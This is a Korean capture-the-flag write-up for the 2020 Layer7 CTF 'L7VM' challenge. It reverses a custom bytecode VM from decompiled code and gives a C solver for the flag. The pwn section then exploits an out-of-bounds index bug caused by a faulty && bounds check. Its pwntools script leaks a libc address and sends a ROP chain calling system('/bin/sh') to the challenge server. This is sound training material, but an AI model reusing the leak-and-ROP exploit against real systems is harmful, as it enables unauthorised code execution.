CTF Writeup

2020 Layer7 CTF - Layer7 VM pwn/rev Writeup

LittleDev0617 2020. 11. 19. 21:03
undefined8 main(EVP_PKEY_CTX *argc,long param_2)

{
  long lVar1;
  int iVar2;
  ssize_t sVar3;
  long in_FS_OFFSET;
  int local_a4;
  uint local_a0;
  int local_9c;
  int local_98;
  int local_94;
  char *code;
  char local_88 [120];
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  init(argc);
  puts(PTR_s_.##.......####...##..##..######._00107010);
  code = (char *)calloc(1,0x700);
  local_a0 = 0;
  while (local_a0 < 0x10) {
    FUN_00101369(local_88 + (long)(int)local_a0 * 7);
    local_a0 = local_a0 + 1;
  }
  read_Data = local_88;
  local_a4 = 0;
  printf("# Input mode : ");
  __isoc99_scanf(&DAT_00105253,&local_a4);
  iVar2 = local_a4;
  if (local_a4 == 2) {
    puts("# Argv mode");
    local_9c = open(*(char **)(param_2 + 8),2);
    if (local_9c < 0) {
      puts("# fd return value error");
      puts("# Switch to Non-Argv mode ...");
      sleep(1);
      printf("# Input your VM code : ");
      sVar3 = read(0,code,0x700);
      local_94 = (int)sVar3;
      if (local_94 < 0) {
        puts("# return value error");
                    /* WARNING: Subroutine does not return */
        exit(1);
      }
    }
    else {
      sVar3 = read(local_9c,code,0x700);
      local_98 = (int)sVar3;
      if (local_98 < 0) {
        puts("# return value error");
                    /* WARNING: Subroutine does not return */
        exit(1);
      }
      close(local_9c);
    }
    FUN_00103e9b();
    vm(code);
  }
  if (iVar2 == 1) {
    puts("# Non-Argv mode");
    printf("# Input your VM code : ");
    FUN_00103f6b(code,0x700);
    FUN_00103e9b();
    vm(code);
  }
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}
void vm(char *param_1)

{
  long lVar1;
  ushort uVar2;
  void *in_RSI;
  long in_FS_OFFSET;
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  do {
    if (0x6fe < CODE_I) {
      puts("# VM stop");
                    /* WARNING: Subroutine does not return */
      exit(1);
    }
    uVar2 = CODE_I + 1;
    switch(param_1[CODE_I]) {
    case '\x11':
      CODE_I = uVar2;
      move(param_1);
      break;
    case '\x12':
      CODE_I = uVar2;
      FUN_00101490(param_1);
      break;
    case '\x13':
      CODE_I = uVar2;
      FUN_0010173e(param_1);
      break;
    case '\x14':
      CODE_I = uVar2;
      add(param_1);
      break;
    case '\x15':
      CODE_I = uVar2;
      sub(param_1);
      break;
    case '\x16':
      CODE_I = uVar2;
      xor(param_1);
      break;
    case '\x17':
      CODE_I = uVar2;
      or(param_1);
      break;
    case '\x18':
      CODE_I = uVar2;
      and(param_1);
      break;
    case '\x19':
      CODE_I = uVar2;
      cmp(param_1,in_RSI);
      break;
    case '\x1a':
      CODE_I = uVar2;
      FUN_0010312a(param_1);
      break;
    case '\x1b':
      CODE_I = uVar2;
      FUN_001033f6(param_1);
      break;
    case '\x1c':
      CODE_I = uVar2;
      JE(param_1);
      break;
    case '\x1d':
      CODE_I = uVar2;
      FUN_00103778(param_1);
      break;
    case '\x1e':
      CODE_I = uVar2;
      FUN_0010386e(param_1);
      break;
    case '\x1f':
      CODE_I = uVar2;
      FUN_0010298b(param_1);
      break;
    case ' ':
      CODE_I = uVar2;
      FUN_00102bfa(param_1);
      break;
    case '!':
      CODE_I = uVar2;
      RW(param_1);
      break;
    case '\"':
      CODE_I = uVar2;
      nop(param_1);
      break;
    case '#':
      CODE_I = uVar2;
      end(param_1);
      if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
        __stack_chk_fail();
      }
      return;
    default:
      CODE_I = uVar2;
      puts("# Unknown opcode");
                    /* WARNING: Subroutine does not return */
      exit(1);
    }
  } while( true );
}

이 바이너리는 힙과 스택 두군데에 데이터를 저장한다.

main 함수에 local_88 이 있고 이를 가르키는 전역 포인터 변수가 존재한다.

이 변수 이름을 read_Data 로 변경하였다.

또한 FUN_00103e9b 에서는 vm 관련 변수들을 초기화한다.

void FUN_00103e9b(void)
{
  write_Data = (char *)malloc(0x31);
  PTR_00107050._0_1_ = 0;
  CODE_I = 0;
  return;
}

49개의, 즉 7 * 7 크기를 가르키는 전역 포인터 변수가 있다.

이를 write_Data로 바꾼다.

또한 나중에 분석하면, PTR_00107050 은 CMP 함수에서 참/거짓 을 저장하는 Flag 변수이다.

CODE_I 는 추후 OPCODE를 가르키는 포인터의 인덱스로 쓰인다.

L7VM rev 문제에서 주어진 OPCODE 이다. 

아직까지는 하나도 모르겠지만 분석하는데 길잡이가 된다.

우선 첫 OPCODE 가 0x11 이므로 0x11 담당 함수를 봐보자.

void move(char *code)

{
  byte bVar1;
  byte index;
  char *local_RAX_335;
  char *local_RAX_492;
  char *local_RAX_665;
  char *dest;
  ushort src_index;
  ushort des_index;
  long in_FS_OFFSET;
  int i;
  char local_17 [7];
  long local_10;
  undefined4 *src;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  FUN_00101369(local_17);
  src_index = CODE_I + 1;
  index = code[CODE_I];
  if (index == 0x7d) {
    des_index = CODE_I + 2;
    CODE_I = CODE_I + 3;
    if ((0xf < (byte)code[src_index]) && (6 < (byte)code[des_index])) {
      puts("# OOB detected");
                    /* WARNING: Subroutine does not return */
      exit(1);
    }
    src = (undefined4 *)(read_Data + (ulong)(byte)code[src_index] * 7);
    dest = write_Data + (ulong)(byte)code[des_index] * 7;
    *(undefined4 *)dest = *src;
    *(undefined2 *)(dest + 4) = *(undefined2 *)(src + 1);
    dest[6] = *(char *)((long)src + 6);
    goto code_r0x00101bbe;
  }
  if (index < 0x7e) {
    if (index == 0x7c) {
      des_index = CODE_I + 2;
      CODE_I = CODE_I + 3;
      if ((0xf < (byte)code[des_index]) && (6 < (byte)code[src_index])) {
        puts("# OOB detected");
                    /* WARNING: Subroutine does not return */
        exit(1);
      }
      src = (undefined4 *)(write_Data + (ulong)(byte)code[src_index] * 7);
      local_RAX_665 = (char *)((ulong)(byte)code[des_index] * 7 + read_Data);
      *(undefined4 *)local_RAX_665 = *src;
      *(undefined2 *)(local_RAX_665 + 4) = *(undefined2 *)(src + 1);
      local_RAX_665[6] = *(char *)((long)src + 6);
      goto code_r0x00101bbe;
    }
    if (index < 0x7d) {
      if (index == 0x7a) {
        CODE_I = CODE_I + 2;
        index = FUN_001013d6((ulong)(byte)code[src_index]);
        i = 0;
        while (i < (int)(uint)index) {
          local_17[i] = code[CODE_I];
          i = i + 1;
          CODE_I = CODE_I + 1;
        }
        index = code[CODE_I];
        CODE_I = CODE_I + 1;
        OOB(0,(ulong)index);
        local_RAX_335 = write_Data + (ulong)index * 7;
        *(undefined4 *)local_RAX_335 = local_17._0_4_;
        *(undefined2 *)(local_RAX_335 + 4) = local_17._4_2_;
        local_RAX_335[6] = local_17[6];
        goto code_r0x00101bbe;
      }
      if (index == 0x7b) {
        des_index = CODE_I + 2;
        index = code[src_index];
        CODE_I = CODE_I + 3;
        bVar1 = code[des_index];
        OOB((ulong)index,(ulong)bVar1,(ulong)bVar1);
        src = (undefined4 *)(write_Data + (ulong)index * 7);
        local_RAX_492 = write_Data + (ulong)bVar1 * 7;
        *(undefined4 *)local_RAX_492 = *src;
        *(undefined2 *)(local_RAX_492 + 4) = *(undefined2 *)(src + 1);
        local_RAX_492[6] = *(char *)((long)src + 6);
        goto code_r0x00101bbe;
      }
    }
  }
  CODE_I = src_index;
  puts("# Wrong argv");
code_r0x00101bbe:
  if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
    return;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

어느정도 변수 이름을 적절하게 바꿨는데, 근데도 보기 힘들다.

분석해보면, 0x11 다음 바이트에 따라 4가지 동작을 수행한다는 것을 알 수 있다.

또한, OPCODE 를 보면 뒤에 INPUT 문자열이 오는 것을 보고 특정 문자열을 저장한다는 것을 유추할 수 있다.

0x7A 분기를 확인해보면 뒤에 한 바이트는 문자열 길이를 지정하는 값,

그 뒤로 문자열, 마지막에 저장할 인덱스가 있다.

즉 0x11 0x7A LENGTH STRING INDEX 명령은 write_Data[INDEX] = STRING 으로 표현할 수 있다.

나머지 분기들도 확인하면 아래와 같이 정리할 수 있다.


0x7B src_index des_index : w[des_index] = w[src_index]

0x7C src_index des_index : r[des_index] = w[src_index]

0x7D src_index des_index : w[des_index] = r[src_index]


그 다음 함수 RW를 분석해보자.

void RW(char *param_1)
{
  char arg0;
  char cVar1;
  byte arg1;
  byte index;
  long lVar2;
  int iVar3;
  ssize_t sVar4;
  int *piVar5;
  char *pcVar6;
  ushort uVar7;
  long in_FS_OFFSET;
  uint i2;
  uint i;
  short local_27;
  
  lVar2 = *(long *)(in_FS_OFFSET + 0x28);
  FUN_00101369();
  arg0 = param_1[CODE_I];
  uVar7 = CODE_I + 2;
  if (param_1[(ushort)(CODE_I + 1)] == 'z') {
    arg1 = param_1[uVar7];
    cVar1 = param_1[(ushort)(CODE_I + 3)];
    i2 = 0;
    CODE_I = CODE_I + 4;
    while (i2 < 2) {
      *(char *)((long)&local_27 + (long)(int)i2) = param_1[CODE_I];
      i2 = i2 + 1;
      CODE_I = CODE_I + 1;
    }
    if ('\x0f' < cVar1) {
      puts("# OOB detected");
                    /* WARNING: Subroutine does not return */
      exit(1);
    }
    if ((long)cVar1 * -7 + 0x70U < (ulong)(long)local_27) {
      puts("# OOB detected");
                    /* WARNING: Subroutine does not return */
      exit(1);
    }
    if (arg0 != '\0') {
      puts("# Wrong argv");
                    /* WARNING: Subroutine does not return */
      exit(1);
    }
    sVar4 = read((uint)arg1,(void *)(read_Data + (long)cVar1 * 7),(ulong)(ushort)local_27);
    if ((int)sVar4 < 0) {
      piVar5 = __errno_location();
      pcVar6 = strerror(*piVar5);
      printf("# Error : %s\n",pcVar6);
                    /* WARNING: Subroutine does not return */
      exit(1);
    }
  }
  else {
    if (param_1[(ushort)(CODE_I + 1)] != '{') {
      CODE_I = uVar7;
      puts("# Wrong argv");
                    /* WARNING: Subroutine does not return */
      exit(1);
    }
    arg1 = param_1[uVar7];
    index = param_1[(ushort)(CODE_I + 3)];
    i = 0;
    CODE_I = CODE_I + 4;
    while (i < 2) {
      *(char *)((long)&local_27 + (long)(int)i) = param_1[CODE_I];
      i = i + 1;
      CODE_I = CODE_I + 1;
    }
    if (6 < index) {
      puts("# OOB detected");
                    /* WARNING: Subroutine does not return */
      exit(1);
    }
    iVar3 = FUN_001013d6();
    if (iVar3 < (int)(uint)(ushort)local_27) {
      puts("# OOB detected");
                    /* WARNING: Subroutine does not return */
      exit(1);
    }
    if (arg0 != '\x01') {
      puts("# Wrong argv");
                    /* WARNING: Subroutine does not return */
      exit(1);
    }
    write((uint)arg1,write_Data + (ulong)index * 7,(ulong)(ushort)local_27);
  }
  if (lVar2 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

0x00 0x7A fd INDEX LENGTH : read(fd,r[INDEX],LENGTH)

0x01 0x7B fd INDEX LENGTH : write(fd,w[INDEX],LENGTH)

read_Data 에 입력을 받거나 write_Data의 값을 출력하는 기능을 한다.

이 외의 함수는 간단하게 AND, XOR, ADD, SUB ... 기능들을 하기 때문에 넘어간다.


0x14 0x7B src_index des_index : w[des_index] += w[src_index]

0x15 0x7B src_index des_index : w[des_index] -= w[src_index]

0x16 0x7A DATA INDEX : w[INDEX] ^= DATA

0x19 0x7A LENGTH DATA INDEX : w[INDEX] == DATA → FLAG = 1

0x1C OFFSET : FLAG가 1이면 OFFSET 만큼 점프


위의 함수들을 토대로 OPCODE를 분석해보면 아래와 같은 흐름이 된다.

w[2] = "INPUT:"

write(w[2],6)

read(r[0],0x15)

w[6] = r[0]

w[6] = xor(w[6],tmp) 14 56 23 76 89 72 45

w[0] = r[1]

w[0] = xor(w[0],tmp2) 78 94 20 5A 7D 99 06

w[3] = r[2]

w[3] = xor(w[3],tmp3) 64 79 2A 1F 71 65 50

w[6] = w[6] - w[3]

w[0] = w[0] + w[6]

w[3] = w[3] - w[0]

r[4] = w[6]

r[5] = w[0]

r[6] = w[3]

w[4] = r[4]

w[5] = r[5]

w[6] = r[6]

w[2] = NO!

 

Layer7{FLAG} 라 했을때

21글자의 FLAG를 입력받고 7글자씩 3개로 끊어 연산처리를 한 후 각각의 값을 확인한다.

세개의 미지수가 있고 세개의 식이 있으니 각 식들을 연립해서 3개의 평문을 구할 수 있다.

#include <stdio.h>

int main()
{
	unsigned char t1[] = {0x14, 0x56, 0x23, 0x76, 0x89, 0x72, 0x45};
	unsigned char t2[] = {0x78, 0x94, 0x20, 0x5a, 0x7d, 0x99, 0x06};
	unsigned char t3[] = {0x64, 0x79, 0x2a, 0x1f, 0x71, 0x65, 0x50};
	
	unsigned char w4[] = {0x51, 0x11, 0x50, 0xb2, 0x90, 0x32, 0x9d};
	unsigned char w5[] = {0x78, 0xf4, 0x60, 0xda, 0xa1, 0x0f, 0xf6};
	unsigned char w6[] = {0x9b, 0x1c, 0xbd, 0x9d, 0x8d, 0xf9, 0x6d};
	
	unsigned char r1[] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
	unsigned char r2[] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
	unsigned char r3[] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
	
	int i=0;
	for(i=0;i<7;i++)
	{
		r2[i] = w5[i] - w4[i];
		r3[i] = r2[i] + w4[i] + w6[i];
		r1[i] = w4[i] + w6[i] + r2[i] + w4[i];
	}
	
	printf("LAYER7{");
	for(i=0;i<7;i++)
	{
		printf("%c",r1[i]^t1[i]);
	}
	for(i=0;i<7;i++)
	{
		printf("%c",r2[i]^t2[i]);
	}
	for(i=0;i<7;i++)
	{
		printf("%c",r3[i]^t3[i]);
	}
	putchar('}');
}

이로서 리버싱 문제는 클리어했다.

 

 

이제 이 VM의 PWN 문제를 풀어보자.

취약점은 보통 데이터를 쓰거나 읽는 데에서 일어나기에 RW 함수와 MOVE 함수를 살펴보자

처음에는 RW 함수에서 Integer Overflow 가 일어나 OOB 하는 줄 알았지만,

MOV 함수에 당당하게 OOB 체크를 && 연산으로 하고 있었다.

그래서 src_index 나 des_index 둘 중 하나만 OOB 할 수 있다.

if ((0xf < (byte)code[des_index]) && (6 < (byte)code[src_index])) {
        puts("# OOB detected");
                    /* WARNING: Subroutine does not return */
        exit(1);
      }

Exploit 흐름을 생각해보면 다음과 같다.


write_Data[0] = read_Data[OOB_INDEX](libc_main_ret)

write(write_Data[0])

get libc base

get &/bin/sh

get &system

read(read_Data) - Send RTL

write_Data[1] = read_Data[1]..

read_Data[OOB] = write_Data[1..2..3..]


그런데 이 VM은 한 인덱스당 7 바이트이기에 나눠서 읽고 써야 한다.

from pwn import *

context.log_level = 'debug'
p = remote('211.239.124.243', 18607)
#p = process('./L7VM')
e = ELF('./L7VM')
#libc = e.libc
libc = ELF('./libc-2.31.so')

opcode = ''
def RW(mode,index,length):
	global opcode
	sig = ['z','{']
	opcode += '\x21'+p8(mode)+sig[mode]+p8(mode)+p8(index)+p16(length)

def r2w(wi,ri):
	global opcode
	opcode += '\x11\x7d'+p8(ri)+p8(wi)

def w2r(wi,ri):
	global opcode
	opcode += '\x11\x7c'+p8(wi)+p8(ri)

r2w(0,19)
r2w(1,20)
RW(1,0,7)
RW(1,1,4)
#------leak-----

RW(0,2,7)
RW(0,3,7)
RW(0,4,7)
RW(0,5,7)
RW(0,6,7)
#------read gadget------

r2w(2,2)
r2w(3,3)
r2w(4,4)
r2w(5,5)
r2w(6,6)

w2r(2,19)
w2r(3,20)
w2r(4,21)
w2r(5,22)
w2r(6,23)
#------write gadget-----

opcode += '#'
p.sendlineafter('mode : ','1')
p.sendlineafter('code : ',str(opcode))

sleep(1.5)
leak = u64(p.recv(14)[3:11])
base = leak - 0x0270b3
#base = leak - 0x21b97
system = base + libc.symbols['system']
binsh = base + list(libc.search('/bin/sh'))[0] 
popr = base + 0x0000000000026b72

log.info('[leak] : %x [base] : %x'%(leak,base))
payload = 'a'*3 + p64(base+0x26ba0) + p64(popr) + p64(binsh) + p64(system)  + p64(system)
p.send(payload)
p.interactive()

 

Incognito 2020 에서 김준태님 VM을 풀어봤었는데, 이번이 두번째였다.

확실히 분석하는 데에 시간이 오래걸리는데, 분석하고 나면 가장 성취감이 높은 것 같다.

 

이번 문제를 풀면서 느낀 점은 아직 VM 분석하는 속도가 느리고, 리버싱 역연산할때 Python으로 하지 말고

C unsigned char 로 해야 제대로 값이 구해진다는 것을 기억해야한다고 느꼈다.